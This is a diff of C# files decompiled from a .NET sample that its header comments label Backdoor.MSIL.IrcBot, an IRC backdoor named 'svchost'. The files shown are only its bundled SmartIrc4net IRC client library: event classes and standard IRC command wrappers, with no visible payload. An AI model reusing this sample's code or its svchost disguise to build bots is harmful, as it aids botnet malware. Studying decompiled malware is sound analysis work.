|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void ErrorEventHandler(object sender, ErrorEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,29 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.HalfopEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class HalfopEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private string _Who;
|
||||||
|
private string _Whom;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
public string Whom => this._Whom;
|
||||||
|
|
||||||
|
internal HalfopEventArgs(IrcMessageData data, string channel, string who, string whom)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._Who = who;
|
||||||
|
this._Whom = whom;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.HalfopEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void HalfopEventHandler(object sender, HalfopEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.InviteEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class InviteEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private string _Who;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
internal InviteEventArgs(IrcMessageData data, string channel, string who)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._Who = who;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.InviteEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void InviteEventHandler(object sender, InviteEventArgs e);
|
||||||
|
}
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,29 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.IrcColors
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public enum IrcColors
|
||||||
|
{
|
||||||
|
White = 0,
|
||||||
|
Black = 1,
|
||||||
|
Blue = 2,
|
||||||
|
Green = 3,
|
||||||
|
LightRed = 4,
|
||||||
|
Brown = 5,
|
||||||
|
Purple = 6,
|
||||||
|
Orange = 7,
|
||||||
|
Yellow = 8,
|
||||||
|
LightGreen = 9,
|
||||||
|
Cyan = 10, // 0x0000000A
|
||||||
|
LightCyan = 11, // 0x0000000B
|
||||||
|
LightBlue = 12, // 0x0000000C
|
||||||
|
Pink = 13, // 0x0000000D
|
||||||
|
Grey = 14, // 0x0000000E
|
||||||
|
LightGrey = 15, // 0x0000000F
|
||||||
|
Transparent = 99, // 0x00000063
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,601 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.IrcCommands
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class IrcCommands : IrcConnection
|
||||||
|
{
|
||||||
|
private int _MaxModeChanges = 3;
|
||||||
|
|
||||||
|
protected int MaxModeChanges
|
||||||
|
{
|
||||||
|
get => this._MaxModeChanges;
|
||||||
|
set => this._MaxModeChanges = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SendMessage(SendType type, string destination, string message, Priority priority)
|
||||||
|
{
|
||||||
|
switch (type)
|
||||||
|
{
|
||||||
|
case SendType.Message:
|
||||||
|
this.RfcPrivmsg(destination, message, priority);
|
||||||
|
break;
|
||||||
|
case SendType.Action:
|
||||||
|
this.RfcPrivmsg(destination, "\u0001ACTION " + message + "\u0001", priority);
|
||||||
|
break;
|
||||||
|
case SendType.Notice:
|
||||||
|
this.RfcNotice(destination, message, priority);
|
||||||
|
break;
|
||||||
|
case SendType.CtcpReply:
|
||||||
|
this.RfcNotice(destination, "\u0001" + message + "\u0001", priority);
|
||||||
|
break;
|
||||||
|
case SendType.CtcpRequest:
|
||||||
|
this.RfcPrivmsg(destination, "\u0001" + message + "\u0001", priority);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SendMessage(SendType type, string destination, string message) => this.SendMessage(type, destination, message, Priority.Medium);
|
||||||
|
|
||||||
|
public void SendReply(IrcMessageData data, string message, Priority priority)
|
||||||
|
{
|
||||||
|
switch (data.Type)
|
||||||
|
{
|
||||||
|
case ReceiveType.ChannelMessage:
|
||||||
|
this.SendMessage(SendType.Message, data.Channel, message, priority);
|
||||||
|
break;
|
||||||
|
case ReceiveType.QueryMessage:
|
||||||
|
this.SendMessage(SendType.Message, data.Nick, message, priority);
|
||||||
|
break;
|
||||||
|
case ReceiveType.QueryNotice:
|
||||||
|
this.SendMessage(SendType.Notice, data.Nick, message, priority);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SendReply(IrcMessageData data, string message) => this.SendReply(data, message, Priority.Medium);
|
||||||
|
|
||||||
|
public void Op(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+o " + nickname), priority);
|
||||||
|
|
||||||
|
public void Op(string channel, string[] nicknames)
|
||||||
|
{
|
||||||
|
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
|
||||||
|
for (int index = 0; index < nicknames.Length; ++index)
|
||||||
|
newModes[index] = "+o";
|
||||||
|
this.Mode(channel, newModes, nicknames);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Op(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+o " + nickname));
|
||||||
|
|
||||||
|
public void Deop(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-o " + nickname), priority);
|
||||||
|
|
||||||
|
public void Deop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-o " + nickname));
|
||||||
|
|
||||||
|
public void Deop(string channel, string[] nicknames)
|
||||||
|
{
|
||||||
|
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
|
||||||
|
for (int index = 0; index < nicknames.Length; ++index)
|
||||||
|
newModes[index] = "-o";
|
||||||
|
this.Mode(channel, newModes, nicknames);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Voice(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+v " + nickname), priority);
|
||||||
|
|
||||||
|
public void Voice(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+v " + nickname));
|
||||||
|
|
||||||
|
public void Voice(string channel, string[] nicknames)
|
||||||
|
{
|
||||||
|
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
|
||||||
|
for (int index = 0; index < nicknames.Length; ++index)
|
||||||
|
newModes[index] = "+v";
|
||||||
|
this.Mode(channel, newModes, nicknames);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Devoice(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-v " + nickname), priority);
|
||||||
|
|
||||||
|
public void Devoice(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-v " + nickname));
|
||||||
|
|
||||||
|
public void Devoice(string channel, string[] nicknames)
|
||||||
|
{
|
||||||
|
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
|
||||||
|
for (int index = 0; index < nicknames.Length; ++index)
|
||||||
|
newModes[index] = "-v";
|
||||||
|
this.Mode(channel, newModes, nicknames);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Ban(string channel, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+b"), priority);
|
||||||
|
|
||||||
|
public void Ban(string channel) => this.WriteLine(Rfc2812.Mode(channel, "+b"));
|
||||||
|
|
||||||
|
public void Ban(string channel, string hostmask, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "+b " + hostmask), priority);
|
||||||
|
|
||||||
|
public void Ban(string channel, string hostmask) => this.WriteLine(Rfc2812.Mode(channel, "+b " + hostmask));
|
||||||
|
|
||||||
|
public void Ban(string channel, string[] hostmasks)
|
||||||
|
{
|
||||||
|
string[] newModes = hostmasks != null ? new string[hostmasks.Length] : throw new ArgumentNullException(nameof (hostmasks));
|
||||||
|
for (int index = 0; index < hostmasks.Length; ++index)
|
||||||
|
newModes[index] = "+b";
|
||||||
|
this.Mode(channel, newModes, hostmasks);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Unban(string channel, string hostmask, Priority priority) => this.WriteLine(Rfc2812.Mode(channel, "-b " + hostmask), priority);
|
||||||
|
|
||||||
|
public void Unban(string channel, string hostmask) => this.WriteLine(Rfc2812.Mode(channel, "-b " + hostmask));
|
||||||
|
|
||||||
|
public void Unban(string channel, string[] hostmasks)
|
||||||
|
{
|
||||||
|
string[] newModes = hostmasks != null ? new string[hostmasks.Length] : throw new ArgumentNullException(nameof (hostmasks));
|
||||||
|
for (int index = 0; index < hostmasks.Length; ++index)
|
||||||
|
newModes[index] = "-b";
|
||||||
|
this.Mode(channel, newModes, hostmasks);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Halfop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "+h " + nickname));
|
||||||
|
|
||||||
|
public void Halfop(string channel, string[] nicknames)
|
||||||
|
{
|
||||||
|
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
|
||||||
|
for (int index = 0; index < nicknames.Length; ++index)
|
||||||
|
newModes[index] = "+h";
|
||||||
|
this.Mode(channel, newModes, nicknames);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Dehalfop(string channel, string nickname) => this.WriteLine(Rfc2812.Mode(channel, "-h " + nickname));
|
||||||
|
|
||||||
|
public void Dehalfop(string channel, string[] nicknames)
|
||||||
|
{
|
||||||
|
string[] newModes = nicknames != null ? new string[nicknames.Length] : throw new ArgumentNullException(nameof (nicknames));
|
||||||
|
for (int index = 0; index < nicknames.Length; ++index)
|
||||||
|
newModes[index] = "-h";
|
||||||
|
this.Mode(channel, newModes, nicknames);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Mode(string target, string[] newModes, string[] newModeParameters)
|
||||||
|
{
|
||||||
|
if (target == null)
|
||||||
|
throw new ArgumentNullException(nameof (target));
|
||||||
|
if (newModes == null)
|
||||||
|
throw new ArgumentNullException(nameof (newModes));
|
||||||
|
if (newModeParameters == null)
|
||||||
|
throw new ArgumentNullException(nameof (newModeParameters));
|
||||||
|
if (newModes.Length == 0)
|
||||||
|
throw new ArgumentException("newModes must not be empty.", nameof (newModes));
|
||||||
|
if (newModeParameters.Length == 0)
|
||||||
|
throw new ArgumentException("newModeParameters must not be empty.", nameof (newModeParameters));
|
||||||
|
if (newModes.Length != newModeParameters.Length)
|
||||||
|
throw new ArgumentException("newModes and newModeParameters must have the same size.", nameof (newModes));
|
||||||
|
int maxModeChanges = this._MaxModeChanges;
|
||||||
|
for (int index1 = 0; index1 < newModes.Length; index1 += maxModeChanges)
|
||||||
|
{
|
||||||
|
List<string> stringList1 = new List<string>(maxModeChanges);
|
||||||
|
List<string> stringList2 = new List<string>(maxModeChanges);
|
||||||
|
for (int index2 = 0; index2 < maxModeChanges && index1 + index2 < newModes.Length; ++index2)
|
||||||
|
{
|
||||||
|
stringList1.Add(newModes[index1 + index2]);
|
||||||
|
stringList2.Add(newModeParameters[index1 + index2]);
|
||||||
|
}
|
||||||
|
this.WriteLine(Rfc2812.Mode(target, stringList1.ToArray(), stringList2.ToArray()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void RfcPass(string password, Priority priority) => this.WriteLine(Rfc2812.Pass(password), priority);
|
||||||
|
|
||||||
|
public void RfcPass(string password) => this.WriteLine(Rfc2812.Pass(password));
|
||||||
|
|
||||||
|
public void RfcUser(string username, int usermode, string realname, Priority priority) => this.WriteLine(Rfc2812.User(username, usermode, realname), priority);
|
||||||
|
|
||||||
|
public void RfcUser(string username, int usermode, string realname) => this.WriteLine(Rfc2812.User(username, usermode, realname));
|
||||||
|
|
||||||
|
public void RfcOper(string name, string password, Priority priority) => this.WriteLine(Rfc2812.Oper(name, password), priority);
|
||||||
|
|
||||||
|
public void RfcOper(string name, string password) => this.WriteLine(Rfc2812.Oper(name, password));
|
||||||
|
|
||||||
|
public void RfcPrivmsg(string destination, string message, Priority priority) => this.WriteLine(Rfc2812.Privmsg(destination, message), priority);
|
||||||
|
|
||||||
|
public void RfcPrivmsg(string destination, string message) => this.WriteLine(Rfc2812.Privmsg(destination, message));
|
||||||
|
|
||||||
|
public void RfcNotice(string destination, string message, Priority priority) => this.WriteLine(Rfc2812.Notice(destination, message), priority);
|
||||||
|
|
||||||
|
public void RfcNotice(string destination, string message) => this.WriteLine(Rfc2812.Notice(destination, message));
|
||||||
|
|
||||||
|
public void RfcJoin(string channel, Priority priority) => this.WriteLine(Rfc2812.Join(channel), priority);
|
||||||
|
|
||||||
|
public void RfcJoin(string channel) => this.WriteLine(Rfc2812.Join(channel));
|
||||||
|
|
||||||
|
public void RfcJoin(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Join(channels), priority);
|
||||||
|
|
||||||
|
public void RfcJoin(string[] channels) => this.WriteLine(Rfc2812.Join(channels));
|
||||||
|
|
||||||
|
public void RfcJoin(string channel, string key, Priority priority) => this.WriteLine(Rfc2812.Join(channel, key), priority);
|
||||||
|
|
||||||
|
public void RfcJoin(string channel, string key) => this.WriteLine(Rfc2812.Join(channel, key));
|
||||||
|
|
||||||
|
public void RfcJoin(string[] channels, string[] keys, Priority priority) => this.WriteLine(Rfc2812.Join(channels, keys), priority);
|
||||||
|
|
||||||
|
public void RfcJoin(string[] channels, string[] keys) => this.WriteLine(Rfc2812.Join(channels, keys));
|
||||||
|
|
||||||
|
public void RfcPart(string channel, Priority priority) => this.WriteLine(Rfc2812.Part(channel), priority);
|
||||||
|
|
||||||
|
public void RfcPart(string channel) => this.WriteLine(Rfc2812.Part(channel));
|
||||||
|
|
||||||
|
public void RfcPart(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Part(channels), priority);
|
||||||
|
|
||||||
|
public void RfcPart(string[] channels) => this.WriteLine(Rfc2812.Part(channels));
|
||||||
|
|
||||||
|
public void RfcPart(string channel, string partmessage, Priority priority) => this.WriteLine(Rfc2812.Part(channel, partmessage), priority);
|
||||||
|
|
||||||
|
public void RfcPart(string channel, string partmessage) => this.WriteLine(Rfc2812.Part(channel, partmessage));
|
||||||
|
|
||||||
|
public void RfcPart(string[] channels, string partmessage, Priority priority) => this.WriteLine(Rfc2812.Part(channels, partmessage), priority);
|
||||||
|
|
||||||
|
public void RfcPart(string[] channels, string partmessage) => this.WriteLine(Rfc2812.Part(channels, partmessage));
|
||||||
|
|
||||||
|
public void RfcKick(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nickname), priority);
|
||||||
|
|
||||||
|
public void RfcKick(string channel, string nickname) => this.WriteLine(Rfc2812.Kick(channel, nickname));
|
||||||
|
|
||||||
|
public void RfcKick(string[] channels, string nickname, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nickname), priority);
|
||||||
|
|
||||||
|
public void RfcKick(string[] channels, string nickname) => this.WriteLine(Rfc2812.Kick(channels, nickname));
|
||||||
|
|
||||||
|
public void RfcKick(string channel, string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nicknames), priority);
|
||||||
|
|
||||||
|
public void RfcKick(string channel, string[] nicknames) => this.WriteLine(Rfc2812.Kick(channel, nicknames));
|
||||||
|
|
||||||
|
public void RfcKick(string[] channels, string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nicknames), priority);
|
||||||
|
|
||||||
|
public void RfcKick(string[] channels, string[] nicknames) => this.WriteLine(Rfc2812.Kick(channels, nicknames));
|
||||||
|
|
||||||
|
public void RfcKick(string channel, string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nickname, comment), priority);
|
||||||
|
|
||||||
|
public void RfcKick(string channel, string nickname, string comment) => this.WriteLine(Rfc2812.Kick(channel, nickname, comment));
|
||||||
|
|
||||||
|
public void RfcKick(string[] channels, string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nickname, comment), priority);
|
||||||
|
|
||||||
|
public void RfcKick(string[] channels, string nickname, string comment) => this.WriteLine(Rfc2812.Kick(channels, nickname, comment));
|
||||||
|
|
||||||
|
public void RfcKick(string channel, string[] nicknames, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nicknames, comment), priority);
|
||||||
|
|
||||||
|
public void RfcKick(string channel, string[] nicknames, string comment) => this.WriteLine(Rfc2812.Kick(channel, nicknames, comment));
|
||||||
|
|
||||||
|
public void RfcKick(string[] channels, string[] nicknames, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nicknames, comment), priority);
|
||||||
|
|
||||||
|
public void RfcKick(string[] channels, string[] nicknames, string comment) => this.WriteLine(Rfc2812.Kick(channels, nicknames, comment));
|
||||||
|
|
||||||
|
public void RfcMotd(Priority priority) => this.WriteLine(Rfc2812.Motd(), priority);
|
||||||
|
|
||||||
|
public void RfcMotd() => this.WriteLine(Rfc2812.Motd());
|
||||||
|
|
||||||
|
public void RfcMotd(string target, Priority priority) => this.WriteLine(Rfc2812.Motd(target), priority);
|
||||||
|
|
||||||
|
public void RfcMotd(string target) => this.WriteLine(Rfc2812.Motd(target));
|
||||||
|
|
||||||
|
[Obsolete("use RfcLusers(Priority) instead")]
|
||||||
|
public void RfcLuser(Priority priority) => this.RfcLusers(priority);
|
||||||
|
|
||||||
|
public void RfcLusers(Priority priority) => this.WriteLine(Rfc2812.Lusers(), priority);
|
||||||
|
|
||||||
|
[Obsolete("use RfcLusers() instead")]
|
||||||
|
public void RfcLuser() => this.RfcLusers();
|
||||||
|
|
||||||
|
public void RfcLusers() => this.WriteLine(Rfc2812.Lusers());
|
||||||
|
|
||||||
|
[Obsolete("use RfcLusers(string, Priority) instead")]
|
||||||
|
public void RfcLuser(string mask, Priority priority) => this.RfcLusers(mask, priority);
|
||||||
|
|
||||||
|
public void RfcLusers(string mask, Priority priority) => this.WriteLine(Rfc2812.Lusers(mask), priority);
|
||||||
|
|
||||||
|
[Obsolete("use RfcLusers(string) instead")]
|
||||||
|
public void RfcLuser(string mask) => this.RfcLusers(mask);
|
||||||
|
|
||||||
|
public void RfcLusers(string mask) => this.WriteLine(Rfc2812.Lusers(mask));
|
||||||
|
|
||||||
|
[Obsolete("use RfcLusers(string, string, Priority) instead")]
|
||||||
|
public void RfcLuser(string mask, string target, Priority priority) => this.RfcLusers(mask, target, priority);
|
||||||
|
|
||||||
|
public void RfcLusers(string mask, string target, Priority priority) => this.WriteLine(Rfc2812.Lusers(mask, target), priority);
|
||||||
|
|
||||||
|
[Obsolete("use RfcLusers(string, string) instead")]
|
||||||
|
public void RfcLuser(string mask, string target) => this.RfcLusers(mask, target);
|
||||||
|
|
||||||
|
public void RfcLusers(string mask, string target) => this.WriteLine(Rfc2812.Lusers(mask, target));
|
||||||
|
|
||||||
|
public void RfcVersion(Priority priority) => this.WriteLine(Rfc2812.Version(), priority);
|
||||||
|
|
||||||
|
public void RfcVersion() => this.WriteLine(Rfc2812.Version());
|
||||||
|
|
||||||
|
public void RfcVersion(string target, Priority priority) => this.WriteLine(Rfc2812.Version(target), priority);
|
||||||
|
|
||||||
|
public void RfcVersion(string target) => this.WriteLine(Rfc2812.Version(target));
|
||||||
|
|
||||||
|
public void RfcStats(Priority priority) => this.WriteLine(Rfc2812.Stats(), priority);
|
||||||
|
|
||||||
|
public void RfcStats() => this.WriteLine(Rfc2812.Stats());
|
||||||
|
|
||||||
|
public void RfcStats(string query, Priority priority) => this.WriteLine(Rfc2812.Stats(query), priority);
|
||||||
|
|
||||||
|
public void RfcStats(string query) => this.WriteLine(Rfc2812.Stats(query));
|
||||||
|
|
||||||
|
public void RfcStats(string query, string target, Priority priority) => this.WriteLine(Rfc2812.Stats(query, target), priority);
|
||||||
|
|
||||||
|
public void RfcStats(string query, string target) => this.WriteLine(Rfc2812.Stats(query, target));
|
||||||
|
|
||||||
|
public void RfcLinks() => this.WriteLine(Rfc2812.Links());
|
||||||
|
|
||||||
|
public void RfcLinks(string servermask, Priority priority) => this.WriteLine(Rfc2812.Links(servermask), priority);
|
||||||
|
|
||||||
|
public void RfcLinks(string servermask) => this.WriteLine(Rfc2812.Links(servermask));
|
||||||
|
|
||||||
|
public void RfcLinks(string remoteserver, string servermask, Priority priority) => this.WriteLine(Rfc2812.Links(remoteserver, servermask), priority);
|
||||||
|
|
||||||
|
public void RfcLinks(string remoteserver, string servermask) => this.WriteLine(Rfc2812.Links(remoteserver, servermask));
|
||||||
|
|
||||||
|
public void RfcTime(Priority priority) => this.WriteLine(Rfc2812.Time(), priority);
|
||||||
|
|
||||||
|
public void RfcTime() => this.WriteLine(Rfc2812.Time());
|
||||||
|
|
||||||
|
public void RfcTime(string target, Priority priority) => this.WriteLine(Rfc2812.Time(target), priority);
|
||||||
|
|
||||||
|
public void RfcTime(string target) => this.WriteLine(Rfc2812.Time(target));
|
||||||
|
|
||||||
|
public void RfcConnect(string targetserver, string port, Priority priority) => this.WriteLine(Rfc2812.Connect(targetserver, port), priority);
|
||||||
|
|
||||||
|
public void RfcConnect(string targetserver, string port) => this.WriteLine(Rfc2812.Connect(targetserver, port));
|
||||||
|
|
||||||
|
public void RfcConnect(
|
||||||
|
string targetserver,
|
||||||
|
string port,
|
||||||
|
string remoteserver,
|
||||||
|
Priority priority)
|
||||||
|
{
|
||||||
|
this.WriteLine(Rfc2812.Connect(targetserver, port, remoteserver), priority);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void RfcConnect(string targetserver, string port, string remoteserver) => this.WriteLine(Rfc2812.Connect(targetserver, port, remoteserver));
|
||||||
|
|
||||||
|
public void RfcTrace(Priority priority) => this.WriteLine(Rfc2812.Trace(), priority);
|
||||||
|
|
||||||
|
public void RfcTrace() => this.WriteLine(Rfc2812.Trace());
|
||||||
|
|
||||||
|
public void RfcTrace(string target, Priority priority) => this.WriteLine(Rfc2812.Trace(target), priority);
|
||||||
|
|
||||||
|
public void RfcTrace(string target) => this.WriteLine(Rfc2812.Trace(target));
|
||||||
|
|
||||||
|
public void RfcAdmin(Priority priority) => this.WriteLine(Rfc2812.Admin(), priority);
|
||||||
|
|
||||||
|
public void RfcAdmin() => this.WriteLine(Rfc2812.Admin());
|
||||||
|
|
||||||
|
public void RfcAdmin(string target, Priority priority) => this.WriteLine(Rfc2812.Admin(target), priority);
|
||||||
|
|
||||||
|
public void RfcAdmin(string target) => this.WriteLine(Rfc2812.Admin(target));
|
||||||
|
|
||||||
|
public void RfcInfo(Priority priority) => this.WriteLine(Rfc2812.Info(), priority);
|
||||||
|
|
||||||
|
public void RfcInfo() => this.WriteLine(Rfc2812.Info());
|
||||||
|
|
||||||
|
public void RfcInfo(string target, Priority priority) => this.WriteLine(Rfc2812.Info(target), priority);
|
||||||
|
|
||||||
|
public void RfcInfo(string target) => this.WriteLine(Rfc2812.Info(target));
|
||||||
|
|
||||||
|
public void RfcServlist(Priority priority) => this.WriteLine(Rfc2812.Servlist(), priority);
|
||||||
|
|
||||||
|
public void RfcServlist() => this.WriteLine(Rfc2812.Servlist());
|
||||||
|
|
||||||
|
public void RfcServlist(string mask, Priority priority) => this.WriteLine(Rfc2812.Servlist(mask), priority);
|
||||||
|
|
||||||
|
public void RfcServlist(string mask) => this.WriteLine(Rfc2812.Servlist(mask));
|
||||||
|
|
||||||
|
public void RfcServlist(string mask, string type, Priority priority) => this.WriteLine(Rfc2812.Servlist(mask, type), priority);
|
||||||
|
|
||||||
|
public void RfcServlist(string mask, string type) => this.WriteLine(Rfc2812.Servlist(mask, type));
|
||||||
|
|
||||||
|
public void RfcSquery(string servicename, string servicetext, Priority priority) => this.WriteLine(Rfc2812.Squery(servicename, servicetext), priority);
|
||||||
|
|
||||||
|
public void RfcSquery(string servicename, string servicetext) => this.WriteLine(Rfc2812.Squery(servicename, servicetext));
|
||||||
|
|
||||||
|
public void RfcList(string channel, Priority priority) => this.WriteLine(Rfc2812.List(channel), priority);
|
||||||
|
|
||||||
|
public void RfcList(string channel) => this.WriteLine(Rfc2812.List(channel));
|
||||||
|
|
||||||
|
public void RfcList(string[] channels, Priority priority) => this.WriteLine(Rfc2812.List(channels), priority);
|
||||||
|
|
||||||
|
public void RfcList(string[] channels) => this.WriteLine(Rfc2812.List(channels));
|
||||||
|
|
||||||
|
public void RfcList(string channel, string target, Priority priority) => this.WriteLine(Rfc2812.List(channel, target), priority);
|
||||||
|
|
||||||
|
public void RfcList(string channel, string target) => this.WriteLine(Rfc2812.List(channel, target));
|
||||||
|
|
||||||
|
public void RfcList(string[] channels, string target, Priority priority) => this.WriteLine(Rfc2812.List(channels, target), priority);
|
||||||
|
|
||||||
|
public void RfcList(string[] channels, string target) => this.WriteLine(Rfc2812.List(channels, target));
|
||||||
|
|
||||||
|
public void RfcNames(string channel, Priority priority) => this.WriteLine(Rfc2812.Names(channel), priority);
|
||||||
|
|
||||||
|
public void RfcNames(string channel) => this.WriteLine(Rfc2812.Names(channel));
|
||||||
|
|
||||||
|
public void RfcNames(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Names(channels), priority);
|
||||||
|
|
||||||
|
public void RfcNames(string[] channels) => this.WriteLine(Rfc2812.Names(channels));
|
||||||
|
|
||||||
|
public void RfcNames(string channel, string target, Priority priority) => this.WriteLine(Rfc2812.Names(channel, target), priority);
|
||||||
|
|
||||||
|
public void RfcNames(string channel, string target) => this.WriteLine(Rfc2812.Names(channel, target));
|
||||||
|
|
||||||
|
public void RfcNames(string[] channels, string target, Priority priority) => this.WriteLine(Rfc2812.Names(channels, target), priority);
|
||||||
|
|
||||||
|
public void RfcNames(string[] channels, string target) => this.WriteLine(Rfc2812.Names(channels, target));
|
||||||
|
|
||||||
|
